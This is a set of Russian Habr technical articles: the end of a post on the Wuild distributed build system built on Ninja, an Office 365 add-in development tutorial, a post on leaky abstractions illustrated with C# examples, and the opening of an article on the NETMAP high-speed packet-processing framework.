// создадим 2 копии rule - rulePP и ruleCC, заменим их bindings\_ на новые команды.
// занесем новые правила в ruleReplacement (ruleReplacement[rule] = ...)
}
}
const auto paths = state->paths\_;
std::set erasedEdges;
// пройдем по всем узлам графа
for (const auto & iter : paths)
{
Node\* node = iter.second;
Edge\* in\_egde = node->in\_edge();
if (!in\_egde)
continue;
// получим входное ребро и соответствующее ему правило.
// если правило необходимо разбить на два, сделаем это:
const Rule \* in\_rule = &(in\_egde->rule());
auto replacementIt = ruleReplacement.find(in\_rule);
if (replacementIt != ruleReplacement.end())
{
RuleReplace replacement = replacementIt->second;
const std::string objectPath = node->path();
const std::string sourcePath = in\_egde->inputs\_[0]->path();
const std::string ppPath = sourcePath + ".pp"; // лучше сделать отдельный метод для имен файлов.
Node \*pp\_node = state->GetNode(ppPath, node->slash\_bits());
// Создадим два новых ребра
Edge\* edge\_pp = state->AddEdge(replacement.pp);
Edge\* edge\_cc = state->AddEdge(replacement.cc);
// ... код пропущен ...
// поместим входы исходного ребра во входы edge\_pp;
// выходы исходного ребра в выходы edge\_cc
// а в середине вставим pp\_node.
// кроме того, особо отметим edge\_cc, что может выполняться удалённо -
// например, добавив поле:
edge\_cc->is\_remote\_ = true;
// после всех манипуляций, очистим исходное ребро.
in\_egde->outputs\_.clear();
in\_egde->inputs\_.clear();
in\_egde->env\_ = nullptr;
erasedEdges.insert(in\_egde);
}
}
// удалим лишние ребра.
vector newEdges;
for (auto \* edge : state->edges\_)
{
if (erasedEdges.find(edge) == erasedEdges.end())
newEdges.push\_back(edge);
}
state->edges\_ = newEdges;
}
```
Некоторые нудные фрагменты вырезаны, полный код [можно посмотреть здесь](https://github.com/mapron/Wuild/blob/master/3rdparty/ninja-1.7.2/src/state_rewrite.cpp).
Доработка прототипа:
* Скорее всего, первый вариант InvocationRewriter не заработает, нужно будет учитывать много вещей — например, то что аргумент компиляции "-c" может быть задан " -c ", ну и я уже молчу про то что он не обязательно предваряет исходный файл.
* Может быть много дополнительных флагов, которые отмечают какие-то файлы, так что не всё то, что «не флаг» — это файл.
* После создания разделённого графа, если он успешно собирается в две фазы «препроцессинг и компиляция» — нужно будет проинтегрировать удаленное выполнение по сети с нашим сетевым слоем. Собственно цикл сборки в Ninja находится в build.cc в функции Builder::Build. В нее можно добавить по аналогии с
«if (failures\_allowed && command\_runner\_->CanRunMore())» и «if (pending\_commands)» свои этапы для распределённой сборки.
### Этап X. Что дальше?
После успешного создания прототипа, нужно двигаться маленькими шажками к созданию продукта:
* Конфигурирование всех модулей — как сетевой подсистемы, так и InvocationRewriter-а;
* Поддержка любых комбинаций опций под разными компиляторами;
* Поддержка сжатия при передаче файлов;
* Разнообразная диагностика в виде логов;
* Написание координатора, который сможет обслуживать подключение к нескольким серверам сборки;
* Написание балансировщика, который будет учитывать то, что серверами пользуется сразу несколько клиентов (и не перегружать их сверх меры);
* Написать интеграцию с другими системами сборки, не только Ninja.
В общем, ребята, я остановился где-то на этом этапе; сделал OpenSource-проект Wuild ([исходники тут](https://github.com/mapron/Wuild)), лицензия Apache, который все эти штуки реализует. На написание ушло примерно 150 часов свободного времени (ежели кто решится повторить мой путь). Я настоятельно рекомендую по максимуму использовать существующие свободные библиотеки, чтобы сконцентрироваться на бизнес-логике и не отлаживать работу сети или запуск процессов.
Что умеет Wuild:
* Распределённая сборка с возможностью кросс-компиляции (Clang) под Win, Mac, Linux;
* Интеграция с Ninja и Make.
Да в общем и всё; проект в состоянии между альфой и бетой (стабильность — есть, фич — нет :D ). Бенчмарков не выкладываю (рекламировать не хочу), но, в сравнении с одним из продуктов-аналогом, скорость меня более чем устроила.
Статья носит скорее образовательный характер, а проект — предостерегательный (как делать не надо, в смысле NIH-синдрома — делайте меньше велосипедов).
Кто хочет — форкайте, делайте пулл-реквесты, используйте в любых страшных целях! | https://habr.com/ru/post/321660/ | null | ru | null |
# Office как Платформа, выпуск №1: введение в то, как миллиард пользователей Microsoft Office становятся вашими пользователями
> *Приложениями Microsoft Office 365 сегодня пользуются более миллиарда человек по всему миру. Это крупнейшая платформа, которая доступна на разнообразных устройствах от больших настольных ПК до миниатюрных смартфонов. С выходом новых версий Office 365 все эти пользователи становятся и вашими польователями, так как новые возможности платформы позволяют интегрировать решения разработчиков прямо в рабочий процесс всех офисных приложений! Благодаря кроссплатформнености офиса, и его API основанном на HTML5 ваши приложения смогут работать на всех платформах, включая планшеты iOS, Andoird и Windows. Я рад приветствовать первый пост от Александры Богдановой в специальной колонке разработки под Office 365. — Владимир Юнев, technical evangelist, Microsoft Russia*
Ну что же, у нас уже есть замечательные колонки про [веб](http://habrahabr.ru/company/microsoft/blog/261727/) и [ASP.NET](http://habrahabr.ru/company/microsoft/blog/261893/), я решила поддержать это движение и начать новый цикл статей про Office 365. Новые офисные API, создание приложений, различные альтернативные сценарии применения офиса — все это в колонке «Office как Платформа».
Помимо целого набора различных офисных приложений и сервисов, Office 365 предоставляет интересные возможности для разработчиков. [Здесь](http://habrahabr.ru/company/microsoft/blog/242483/) кратко описаны основные нововведения и возможности Office 365. Сегодня мы подробнее познакомимся с инструментами разработки под Office 365 и рассмотрим несколько примеров приложений для Excel и Word.
Что же Office 365 может предложить для разработчиков?
Во-первых, у Office 365 есть API, позволяющее интегрировать офис в приложения и тем самым расширять их функционал работы с файлами. API Office 365 предоставляет большое число возможностей для работы с почтой, обменом файлами, календарями и контактами. Также приятно, что API доступно не только для Windows/Windows Phone, а также для Android и iOS.
Во-вторых, у вас есть возможность расширить стандартные возможности офисных программ путем написания различных «надстроек». Например, вы можете добавить возможность проигрывания видеофайлов непосредственно в Outlook, встроить карты Bing в свой отчет или каким-то образом обработать введенные файлы.
Ну что же, давайте начнем погружаться в мир офисных приложений именно со знакомства с «надстройками» для приложений.
### Как работают офисные приложения?
Простейшее приложение для офиса состоит из статической веб-страницы и манифеста приложения в формате XML. HTML страница может быть размещена на любом веб-сервере или в службе, например, в [Microsoft Azure](https://msdn.microsoft.com/ru-ru/library/office/dn622055). Файл манифеста должен указывать на расположение веб-страницы, его нужно опубликовать в общедоступном Магазин Office, внутреннем списке SharePoint или на общем сетевом ресурсе. Также манифест определяет параметры и возможности приложения, такие как URL-адрес веб-страницы, на которой реализованы пользовательский интерфейс и программная логика, имя, описание, идентификатор, версия и языковой стандарт приложения, уровень разрешений и требования к доступу к данным для этого приложения.
Какие возможности мы можем использовать при создании офисных приложений?
* Предоставлять интерактивный пользовательский интерфейс и пользовательскую логику посредством JavaScript.
* Использовать платформы JavaScript, такие как jQuery.
* Подключаться к конечным точкам REST и веб-службам через HTTP и AJAX.
* Запускать код или логику на стороне сервера, если страница создана с использованием языка сценариев на стороне сервера, такого как ASP или PHP.
Общая структура офисных приложений понятна. Теперь посмотрим, как мы можем разделить приложения в зависимости от их функционала.
### Типы офисных приложений
Офисные приложения можно разделить на три типа:
> **Примечание**. Все эти приложения могут быть запущены как на настольных версиях Office, так и на мобильных в планшетах Windows, iOS, Android! Кроме того, расширение для Outlook так же сможет работать в онлайн-версиях Oultook.com и Outlook из Office 365 в браузере пользователя!
**Приложения области задач**
Приложения области задач работают параллельно с документом Office и позволяют предоставлять контекстные сведения и функциональные возможности для повышения удобства просмотра и создания документов. Например, приложение области задач может искать и получать сведения о продукте из веб-службы на основе названия продукта или кода позиции, выбранного в документе.
**Контентные приложения**
Контентные приложения позволяют создавать привлекательные визуализации данных в Интернете, использовать встроенные возможности работы с мультимедиа (такие как видеопроигрыватель YouTube или галерея изображений), а также задействовать другой внешний контент.
**Почтовые приложения**
Почтовые приложения могут работать с сообщениями электронной почты (просмотр, создание, удаление писем), календарями (создавать и удалять события и встречи). Почтовые приложения могут анализировать данные из письма и работать с ними, например, «вычленять» адрес из письма и автоматически наносить его на карту Bing.
### Что нужно для создания офисных приложений
Вы можете создавать приложения как при помощи Visual Studio, так и при помощи средства разработки приложений Napa. Средства разработки Napa для Office 365 — это веб-среда, позволяющая создавать проекты, писать код и запускать приложения в браузере. Дополнительно ничего устанавливать не нужно – вся работа над приложением выполняется в окне браузера.
Если вам привычнее создавать приложения в Visual Studio, то для этого вы можете использовать специальный шаблон, содержащий все файлы, необходимые для создания и тестирования приложений.
Безусловно, есть еще один способ – создавать приложения в текстовом редакторе. В случае, если вы выбрали этот способ, то вам необходимо создать 4 файла:
* HTML-файл, который реализует пользовательский интерфейс приложения.
* XML-файл манифеста, который определяет метаданные, необходимые для отображения и запуска приложения в Word или Excel.
* CSS-файл, определяющий таблицу стилей в приложении.
* Файл project.js, содержащий логику программирования JavaScript, которая может использовать интерфейс JavaScript API для Office (Office.js).
Мы же не будем останавливаться на создании приложений в текстовом редакторе, а познакомимся со средством разработки Napa, а затем создадим приложение в Visual Studio.
### Создаем офисное приложение в средстве разработки Napa
Для создания приложения в среде разработки Napa вам необходимо:
* Учетная запись Office 365 (подписка для разработчиков);
* Приложение Средства разработки Napa для Office 365.
Если вы раньше не сталкивались с Office 365 и с разработкой под него, то начните с создания сайта разработчика. О том, как это сделать вы можете прочитать в подробной инструкции [здесь](https://msdn.microsoft.com/ru-ru/library/office/fp179924).
Первое, что вам необходимо сделать – зайти на сайт разработчика и нажать на иконку «создать приложение»
Выберите тип приложения, которое вы хотите создать – почтовое, контентное, приложение области задач или приложение для SharePoint. Для примера, создадим контентное приложение.
После создания приложения, откроется страница, на которой в левой части экрана будут отображаться файлы приложения, в центре – код приложения.
Здесь вы можете дописывать необходимый код, компилировать приложение, менять его свойства и загружать в магазин офисных приложений. По умолчанию, при запуске приложения (для запуска нажмите на кнопку «play» в левой части панели) откроется дополнительная вкладка с Excel Online, с возможностью протестировать созданное приложение. Поменять приложение, для которого вы пишете надстройку можно в **Свойствах(****Properties) -> Запуск(****Run)** на левой панели.
Начнем модифицировать стандартный пример. Будем создавать приложение, которое будет загружать картинки из сервиса Flickr. Добавим на Html-страницу раздел Images (под разделом Content) и изменим название кнопки get-data-from-selection на "Поиск по Flickr". Полный код тела Html страницы вы можете увидеть под спойлером.
**Скрытый текст**
```
Welcome!
=========
**Add home screen content here.**
For example :
Search Flickr
[Find more samples online...](http://go.microsoft.com/fwlink/?LinkId=276812)
```
Добавьте в JS файл вашего проекта функцию, которая будет показывать изображения, связанные с выделенным текстом.
**Скрытый текст**
```
function showImages(selectedText) {
$('#Images').empty();
var parameters = {
tags: selectedText,
tagsmode: "any",
format: "json"
};
$.getJSON("https://secure.flickr.com/services/feeds/photos_public.gne?jsoncallback=?",
parameters,
function (results) {
$.each(results.items, function (index, item) {
$('#Images').append($("![]()").attr("src", item.media.m));
});
}
);
}
```
Не забудьте инициализировать ее в функции **getDataFromSelection()**
Все, приложение готово. Запустите его в Microsoft Word и наслаждайтесь красивыми фотографиями. Я вот потренировалась на кошках)
Итак, я надеюсь, вы получили представление о том, что из себя представляет Napa и как использовать ее при создании офисных приложений. Мне же привычнее создавать код в Visual Studio, далее посмотрим создание приложений при помощи нее.
### Создаем офисное приложение в Visual Studio
Что вам необходимо при создании офисных приложений в Visual Studio:
* Visual Studio (начиная с 2012) версии
* Офисные инструменты для Visual Studio (для 2013 версии можно скачать [здесь](https://visualstudiogallery.msdn.microsoft.com/a15b85e6-69a7-4fdf-adda-a38066bb5155))
Создайте новый проект. Из списка доступных проектов выберите Visual C# или Visual Basic, затем, **Office/SharePoint** **-> Приложения -> Приложение для Office**. Также, как и при создании приложений при помощи Napa, вам необходимо выбрать тот тип приложения, который вы будете создавать. Напомню, вы выбираете из почтового, контентного и приложения области задач. Затем, укажите в каких приложениях должно работать ваше: Word, Excel, Power Point.
Посмотрим, как создать приложение, которое будет добавлять данные в ячейку книги Excel.
Для начала, откроем файл Home.html, который располагается по пути **App -> Home -> Home.html**
Добавьте в начало файла ссылку на библиотеку jQuery:
```
```
Внутри тега добавляем элемент, пишем надпись: «Наше первое офисное приложение». Также не забываем добавлять кнопку, по нажатию на которую, надпись будет добавляться в ячейку.
```
Наше первое офисное приложение
Записать данные в ячейку
```
В файл Home.js добавьте функцию, отвечающую за добавление надписи в ячейку, а также обработчик вызова этой функции.
Функция добавления надписи в ячейку будет выглядеть так:
```
function writeData() {
Office.context.document.setSelectedDataAsync("Учимся создавать офисные приложения", function (asyncResult) {
if (asyncResult.status === "failed") {
writeToPage('Error: ' + asyncResult.error.message);
}
});
}
```
При запуске приложения в правой части листа откроется панель с созданным приложением. Если вы все сделали верно, то, при нажатии на кнопку, как и ожидается, в выделенную ячейку добавится текст.
Простейшее приложение готово. Перейдем к вопросу распространения созданных офисных приложений.
### Публикация приложений
Когда мы создаем мобильное приложение, то вопрос, как его распространять, обычно не возникает, т.к., как правило, мы выбираем надежный и проверенный путь распространения приложений — через соответствующие магазины приложений. Для офисных приложений все не так очевидно. В общем случае существует 4 способа, как можно распространить офисное приложение:
**Магазин Office.** Он представляет собой удобное место для загрузки разработчиками новых решений приложений, предназначенных как для потребителей, так и для компаний. По сути, он является аналогом привычного для нас магазина приложений.
**Каталог приложений для Office в SharePoint.** Вы можете настроить каталоги приложений непосредственно для своей компании, настроив свой мини магазин офисных приложений.
**Каталог Exchange.** Является частным каталогом для почтовых приложений, доступных пользователям сервера Exchange, на котором они и хранятся. С его помощью можно публиковать и управлять корпоративными почтовыми приложениями, включая собственные приложения и приложения в Магазин Office, лицензированными для корпоративного использования.
**Каталог приложений общей сетевой папки.** ИТ-отделы и разработчики могут также разворачивать приложения в общей сетевой папке, где хранятся файлы манифестов. Пользователи могут получать приложения, указывая эту общую папку в качестве доверенного каталога, или, в случае, если эта пака как доверенный каталог.
Вы можете опубликовать любым способом как приложение, созданное в Napa, так и приложение, созданное в Visual Studio.
Процесс публикации приложения состоит из трех шагов, которые немного различаются в зависимости от того, каким образом вы создаете приложение. Для приложений, созданных при помощи Napa, вам необходимо сначала упаковать приложение, затем разместить его файлы на веб-сервер, а, затем, загрузить XML-файл манифеста приложения в Магазин Office.
Для приложений из Visual Studio, порядок следующий: настроить страницу публикации приложения, затем, упаковать и опубликовать приложение (загрузить XML-файл манифеста приложения в Магазин Office). Подробнее о процедурах публикации вы можете прочитать [здесь](https://msdn.microsoft.com/ru-ru/library/office/fp179811).
### Заключение
Мы познакомились с основами создания офисных приложений и рассмотрели простейшие примеры – создали приложение для Word в специальной среде Napa и поработали с ячейками книги Excel на основе шаблона для создания офисных приложений в Visual Studio. Создавайте различные «надстройки», упрощайте работу с данными, интегрируйте поисковые системы – подстраивайте Office 365 под потребности вас и вашей компании. **Используйте платформу Office 365 для доступа к миллиарду новых пользователей для вашего решения!**
### Дополнительные ссылки для тех, кто заинтересовался
Посмотреть основную документацию по созданию офисных приложений вы можете на [портале Центра Разработки Office](https://msdn.microsoft.com/ru-ru/library/office/jj220082#StartBuildingApps_DevelopmentBasics), также вы можете [скачать](https://msdn.microsoft.com/en-us/library/office/jj220075.aspx#sectionSection0) примеры готовых приложений.
Кроме того вам могут быть полезны следующие материалы: расширение Office 365 [руководство для архитекторов](http://www.codemag.com/article/1507031), новые материалы [Office 365 Patterns & Practices](http://blogs.msdn.com/b/vesku/archive/2015/06/05/office-365-developer-patterns-and-practices-june-2016-release.aspx), разработка нативных приложений [iOS с Office 365 SDK](http://blogs.msdn.com/b/richard_dizeregas_blog/archive/2015/02/20/developing-native-ios-apps-using-the-office-365-sdk-for-ios.aspx) и работа с Office 365 API [для разработки приложений.](http://blogs.msdn.com/b/exchangedev/archive/2015/05/15/office-365-api-walkthrough-for-windows-store-app.aspx)
### Об авторе
Александра Богданова, project manager отдела Customer and Partner Experience, Microsoft Russia. Участник различных конференций, митапов, хакатонов, в том числе Microsoft Developer Tour и Microsoft Developer Conference. | https://habr.com/ru/post/262771/ | null | ru | null |
# Высокоуровневая абстракция в программировании. Наш друг и враг
Большая часть прогресса, который мы наблюдаем за окном, это результат человеческой лени. Лень было красить забор кисточкой, изобрели валик. Лень было красить валиком, изобрели пульверизатор. Ну Вы поняли. Какое это все имеет отношение к программированию? Самое непосредственное!
#### Друг
Первые программисты манипулировали такими понятиями как «0» и «1» и это было долго и непонятно. Человеческая лень предложила при помощи ноликов и единичек написать программу преобразующую MOV, ADD, JMP в новые нолики и единички, понятные процессору.
В дальнейшем лень не дремала и призывала вместо 6-10 строк ассемблера писать 1 команду высокого уровня. Затем появились еще более ленивые вещи. ООП, базы данных и так далее, и так далее. Программы становились все понятнее и понятнее, поиск ошибок сокращался в разы, благодаря различным фреймверкам увеличивалась скорость разработки. Высокоуровневая абстракция шествовала по планете. И все были счастливы?
#### Враг
Но враг не дремал! В один прекрасный момент программист сталкивается с проблемой, которую на данном уровне абстракции нельзя ни то что решить, но даже понять откуда у этой проблемы растут ноги. Для того, чтобы понять что происходит приходится лезть в дебри ноликов и единичек. Примеры? Да пожалуйста (все примеры даны на языке C#).
##### Пример 1
`static void Main(string[] args)
{
double tenth = 0.1;
double first = 0;
for (int i = 0; i < 10; i++)
{
first += tenth;
}
double eighth = 0.125;
double second = 0;
for (int i = 0; i < 8; i++)
{
second += eighth;
}
Console.WriteLine(first == second);
Console.WriteLine("0.1 \* 10 = {0}\n0.125 \* 8 = {1}", first, second);
Console.ReadKey();
}`
Попробуйте предположить, что мы увидим на экране.
Попробовали? И что у вас получилось? Так вот, для тех кто предположил, ну и для тех кто поленился и просто дочитал до этого места, я информирую, мы увидим — False.
Обратили внимание, что значения совпадают? В принципе если заменить 10 на 100, а 8 на 80, то мы увидим, что значения отличаются, но здесь то О\_о
Вот он уровень нулей и единиц. В принципе, понимая как представляются числа с плавающей точкой, понятно, что 1/8 это ни что иное как 2 в -3 степени и складываться она будет без погрешностей, а вот 0.1 представить в виде суммы целых степеней двойки в разрядности современного double не получается. Вот здесь и набегает погрешность.
Продолжим?
##### Пример 2
`static void Main(string[] args)
{
int n = 10000;
int[,] array1 = new int[n, n];
int[,] array2 = new int[n, n];
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
array1[i, j] = 0;
array2[i, j] = 0;
}
}
DateTime begin = DateTime.Now;
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
array1[j, i]++;
}
}
Console.WriteLine("Время работы [j, i] = {0}", DateTime.Now.Subtract(begin).TotalSeconds);
begin = DateTime.Now;
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
array1[i, j]++;
}
}
Console.WriteLine("Время работы [i, j] = {0}", DateTime.Now.Subtract(begin).TotalSeconds);
Console.ReadKey();
}`
Самое удивительное, что изменив порядок индексов при доступе к элементам массива мы получаем изменение скорости работы почти в два раза (на моем компьютере первый цикл отработал за 2,16 с; второй за 1,13 с). При увеличении n до 11000, разница составляет уже 5 раз.
От куда такая разница? Опять же с уровня нулей и единиц. В данном случае проявляется работа с кэшем и то, что двухмерный массив в памяти на самом деле одномерен.
##### Пример 3
С появлением generic типов этот пример может и не актуален, но все таки не удержусь.
`class MyPack
{
public int Value { get; set; }
}
static void Main(string[] args)
{
int n = 100000;
object[] array1 = new object[n];
object[] array2 = new object[n];
for (int i = 0; i < n; i++)
{
array1[i] = 0;
array2[i] = new MyPack() { Value = 0 };
}
DateTime begin = DateTime.Now;
for (int i = 0; i < n; i++)
{
array1[i] = (int)array1[i] + 1;
}
Console.WriteLine("Время работы c int = {0}", DateTime.Now.Subtract(begin).TotalSeconds);
begin = DateTime.Now;
for (int i = 0; i < n; i++)
{
((MyPack)array2[i]).Value = ((MyPack)array2[i]).Value + 1;
}
Console.WriteLine("Время работы с MyPack = {0}", DateTime.Now.Subtract(begin).TotalSeconds);
Console.ReadKey();
}`
В первом случае время выполнения составило 0,017 секунды, во втором 0,005 секунды. Здесь вступает в силу не на столько низкоуровневые вещи, а особенности работы с преобразованием простых типов к типу object (кто заинтересуется можно почитать про упаковку и распаковку).
#### Выводы
Начну с того, что я не считаю высокоуровневую абстракцию злом. И название статьи, если вы обратили внимание, именно о том, что высокоуровневая абстракция нам друг, и чтобы она не не превратилась во врага, пойду ка я почитаю про новые архитектуры процессоров Intel.
P.s. Во время написания статьи выходил в коридор, где столкнулся с коллегой. Так вот, он подошел с проблемой, что при разработке приложения для Windows Mobile приложение адекватно работает до тех пор, пока КПК не уходит в sleep. При выводе его в нормальный режим приложения в памяти уже нет, сообщений об ошибках нет, ничего нет. Вы как думаете по чему? Я думаю, что из-за дыры в высокоуровневой абстракции. | https://habr.com/ru/post/93846/ | null | ru | null |
# NETMAP (от Luigi Rizzo). Простой и удобный opensource фреймворк для обработки трафика на скоростях 10Gbit/s или 14 Mpps
Пропускная способность каналов связи непрерывно возрастает, если ещё пару лет назад сервер с каналом 10Gbit/s был привилегией лишь немногих, то теперь на рынке появились предложения, доступные для маленьких и средних компаний. В то же время, стек протоколов TCP/IP разрабатывался во времена, когда о скоростях порядка 10Gbit/s можно было только мечтать. Вследствие этого, в коде большинства современных операционных систем общего назначения имеется множество оверхедов, впустую съедающих ресурсы. В этих условиях, возрастает важность задач высокопроизводительной обработки сетевых потоков.
Статья сделана на основе моего доклада на Highload++ 2012 и предназначена для быстрого введения в удобный и очень эффективный opensource framework, который включен в HEAD/STABLE FreeBSD, называется NETMAP и позволяет работать с пакетами на скоростях 1-10Gbit/s без использования специализированного железа в обычных \*nix операционных системах.
Netmap использует хорошо известные техники увеличения производительности, такие как мапирование в память буферов сетевой карты, пакетная обработка I/O и использование принимающих и передающих кольцевых буферов памяти, соответствующих аппаратным буферам в сетевой карте, что позволяет генерировать и принимать трафик до 14 миллионов пакетов в секунду (что соответствует теоретическому максимуму для 10Gbit/s).
В статье собраны ключевые фрагменты публикаций автора NETMAP — Luigi Rizzo, рассматриваются архитектура и ключевые особенности внутренней реализации netmap framework'а, который инкапсулирует критические функции при работе с ядром OS и сетевой картой, предоставляя в userland простой и понятный API.
Под катом рассматриваются основные примитивы использования фреймворка для разработки приложений связанных с обработкой пакетов на скоростях 14Mpps, рассмотрен практический опыт использования netmap фреймворка при разработке компонента системы DDOS защиты, ответственного за уровень L3. Отдельно рассматриваются сравнительные характеристики производительности netmap на каналах 1/10Gbit/s, одном/нескольких ядрах процессора, больших и коротких пакетах, сравнение производительности со стеками OS FreeBSD / Linux.
1. Введение
===========
Современные операционные системы общего назначения, предоставляют богатые и гибкие возможности для обработки пакетов на низком уровне в программах сетевого мониторинга, генерации трафика, программных коммутаторах, роутерах, межсетевых экранах и системах распознавания атак. Программные интерфейсы, такие как: raw sockets, the Berkley Packet Filter (BPF), интерфейс AF\_PACKET и подобные им в настоящее время используются для разработки большей части подобных программ. Высокая скорость обработки пакетов, которая требуется для этих приложений, по всей видимости, не была главной целью при разработке указанных выше механизмов, т.к. в каждой из реализаций присутствуют значительные накладные расходы (далее overhead).
В то же время, значительно увеличившаяся пропускная способность среды передачи, сетевых карт и сетевых устройств, предполагают необходимость такого интерфейса для низкоуровневой обработки пакетов, который бы позволил выполнять обработку на скоростях среды передачи данных (wire speed), т.е. миллионы пакетов в секунду. Для получения лучшей производительности, некоторые системы работают непосредственно в ядре операционной системы или получат доступ непосредственно к структурам сетевой карты (далее NIC) в обход стека TCP/IP и драйвера сетевой карты. Эффективность этих систем обусловлена учётом специфических особенностей железа сетевых карт, обеспечивающих прямой доступ к структурам данных NIC.
NETMAP фреймворк, успешно комбинирует и расширяет идеи, реализованные в решениях по прямому доступу к NIC. Помимо кардинального увеличения производительности, NETMAP предоставляет в userland hardware independent интерфейс для высокопроизводительной обработки пакетов. Приведу здесь одну только метрику для того, чтобы Вы смогли оценить скорость обработки пакетов: пересылка пакета из среды передачи (кабеля) в userspace занимает менее 70 тактов CPU. Другими словами, используя NETMAP только на одном ядре процессора с частотой 900MHz, имеется возможность осуществлять быстрый форвардинг 14.88 миллионов пакетов в секунду (Mpps), что соответствует предельной скорости передачи фреймов Ethernet в канале 10Gbit/s.
Другой важной особенностью NETMAP является то, что он предоставляет аппаратно независимый интерфейс для доступа к регистрам и структурам данных NIC. Эти структуры, а также критические области памяти ядра недоступны для пользовательской программы, что повышает надёжность работы, т.к. из userspace сложно вставить неверный указатель на область памяти и вызвать сбой в ядре OS. Вместе с этим, в NETMAP используется очень эффективная модель данных, позволяющая осуществлять zero-copy packet forwarding, т.е. форвардинг пакетов без необходимости копирования памяти, что позволяет получить колоссальную производительность.
В статье сделан акцент на архитектуре и возможностях, которые предоставляет NETMAP, а также на показателях производительности, которые с его помощью можно получить на обычном железе.
2. TCP/IP стек современных OS
=============================
Эта часть статьи будет особенно интересна для разработчиков, которые делают такие приложения как программные свичи, роутеры, файрволы, анализаторы трафика, системы распознавания атак или генераторы трафика. Операционные системы общего назначения, как правило, не предоставляют эффективных механизмов доступа к raw пакетам на высоких скоростях. В этом разделе статьи мы сконцентрируемся на анализе стека TCP/IP в OS, рассмотрим откуда берутся overhead’ы и поймём какова стоимость обработки пакета на разных стадиях его прохождения через стек OS.
2.1. Структуры данных NIC и операции с ними
-------------------------------------------
Сетевые адаптеры (NIC) для обработки входящих и исходящих пакетов используют кольцевые очереди (rings) дескрипторов буферов памяти, как показано на Рис.№1
«Рис №1. Структуры данных NIC и их взаимосвязь со структурами данных OS»
Каждый слот в кольцевой очереди (rings) содержит длину и физический адрес буфера. Доступные (адресуемые) для CPU регистры NIC содержат информацию об очередях для приёма и передачи пакетов.
Когда пакет приходит в сетевую карту, он размещается в текущий буфер памяти, его размер и статус записываются в слот, а информация о том, что появились новые входящие данные для обработки, записывается в соответствующий регистр NIC. Сетевая карта инициирует прерывание, чтобы сообщить CPU о поступлении новых данных.
В случае, когда пакет отправляется в сеть, NIC предполагает, что OS заполнит текущий буфер, разместит в слоте информацию о размере передаваемых данных, запишет в соответствующем регистре NIC количество слотов для передачи, что инициирует отправку пакетов в сеть.
В случае высоких скоростей приёма и передачи пакетов, большое количество прерываний может привести к невозможности выполнить какую-либо полезную работу («receive live-lock»). Для решения этих проблем в OS используют механизм polling или interrupt throttling. Некоторые высокопроизводительные NIC используют множественные очереди для приёма/передачи пакетов, что позволяет распределить нагрузку на процессор по нескольким ядрам или разделить сетевую карту на несколько устройств, для использования в виртуальных системах, работающих с такой сетевой картой.
2.2. Ядро и API для пользователя
--------------------------------
OS осуществляет копирование структур данных NIC в очередь из буферов памяти, которая является специфической для каждой конкретной OS. В случае FreeBSD это mbufs её эквиваленты sk\_buffs и NdisPackets. По своей сути эти буферы памяти являются контейнерами в которых содержится большое количество метаданных о каждом пакете: размер, интерфейс с/на которого пакет пришёл, различные атрибуты и флаги определяющие порядок обработки данных буфера памяти в NIC и/или OS.
Драйвер NIC и стек TCP/IP операционной системы (далее host stack), как правило, предполагают, что пакеты могут быть разбиты в произвольное количество фрагментов, следовательно и драйвер и host stack должны быть готовы к обработке пакетной фрагментации. Соответствующее API экспортируемое в userspace предполагает, что различные подсистемы могут оставить пакеты для отсроченной обработки, следовательно буферы памяти и метаданные не могут быть просто переданы по ссылке в процессе обработки вызова, но они должны быть скопированы или обработаны механизмом подсчёта ссылок (reference counting). Всё это является платой высокими overhead’ами за гибкость и удобство работы.
Дизайн рассмотренного выше API был разработан довольно продолжительно время назад и на сегодняшний день является слишком затратным для современных систем. Стоимость выделения памяти, управления и прохождения через цепочки буферов часто выходит за рамки линейной зависимости от полезных данных, передаваемых в пакетах.
Стандартное API для ввода/вывода raw пакетов в пользовательской программе требует, как минимум выделения памяти для копирования данных и метаданных между ядром OS и userspace и один системный вызов на каждый пакет (в отдельных случаях, на последовательность пакетов).
Рассмотрим overhead’ы возникающие в OS FreeBSD при отправке UDP-пакета из userlevel с помощью функции sendto(). В данном примере userspace программа в цикле посылает UDP-пакет. Таблица №2 иллюстрирует время, в среднем потраченное на обработку пакета в userspace и различных функциях ядра. В поле Time записано среднее время в наносекундах на обработку пакета, значение записывается, когда функция возвращает управление. В поле delta указано время, прошедшее до начала выполнения следующей функции в цепочке выполнения системного вызова. Для примера, 8 наносекунд занимает выполнение в контексте userspace, 96 наносекунд занимает вход в контекст ядра OS.
Для тестов используем следующие макроопределения, работающие в OS FreeBSD:
Тест выполнялся на компьютере под управлением OS FreeBSD HEAD 64bit, i7-870 2.93GHz (TurboBoost), Intel 10Gbit NIC, ixgbe драйвер. Значения усреднены по нескольким десяткам 5-и секундных тестов.
Как видно из Таблицы №1, имеются несколько функций потребляющих критически большое количество времени на всех уровнях обработки пакета в стеке OS. Любой API для сетевого ввода/вода, будь то TCP, RAW\_SOCKET, BPF будет вынужден отправить пакет сквозь несколько очень затратных уровней. Используя это стандартное API нет возможности для обхода механизмов выделения памяти и копирования в mbuf’ах, проверке правильных маршрутов, подготовке и конструированию заголовков TCP/UDP/IP/MAC и в конце этой цепочки обработки, преобразования структур mbuf и метаданных в формат NIC для передачи пакета в сеть. Даже в случае локальной оптимизации, например, кэширование маршрутов и заголовков вместо их построения с нуля, не даёт радикального увеличения скорости, которая требуется для обработки пакетов на интерфейсах 10 Gbit/s.
2.3. Современные техники увеличения производительности при обработке пакетов на больших скоростях
-------------------------------------------------------------------------------------------------
Поскольку проблема высокоскоростной обработки пакетов стоит относительно давно, уже разработаны и используются различные техники увеличения производительности, позволяющие качественно увеличить скорость обработки.
### Socket API
Berkley Packet Filter (далее BPF) является наиболее популярным механизмом для получения доступа к raw пакетам. BPF подключается к драйверу сетевой карты и отправляет копию каждого принятого или отправленного пакета в файловый дескриптор из которого его может получать/отправлять пользовательская программа. Linux имеет подобный механизм, называемый семейство сокетов AF\_PACKET. BPF работает вместе со стеком TCP/IP, хотя в большинстве случаев, он переводит сетевую карту в «прозрачный» режим (promiscuous), что приводит к большому потоку постороннего трафика, который попадает в ядро и тут же там удаляется.
### Packet filter hooks
